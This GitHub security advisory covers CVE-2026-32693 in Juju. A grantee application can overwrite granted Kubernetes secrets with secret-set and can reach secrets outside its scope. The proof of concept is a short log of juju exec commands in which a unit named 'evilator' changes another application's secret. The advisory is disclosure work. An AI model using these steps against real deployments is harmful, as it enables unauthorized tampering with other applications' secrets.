Skip to content

Juju has unauthorized access to out-of-scope Kubernetes secrets

High severity GitHub Reviewed Published Mar 18, 2026 in juju/juju • Updated Mar 19, 2026

Package

gomod github.com/juju/juju (Go)

Affected versions

>= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec

Patched versions

0.0.0-20260319091847-d06919eb03ec

Description

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.
Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations
> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11"> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

References

@korhlibri korhlibri published to juju/juju Mar 18, 2026
Published by the National Vulnerability Database Mar 18, 2026
Published to the GitHub Advisory Database Mar 19, 2026
Reviewed Mar 19, 2026
Last updated Mar 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-32693

GHSA ID

GHSA-439w-v2p7-pggc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.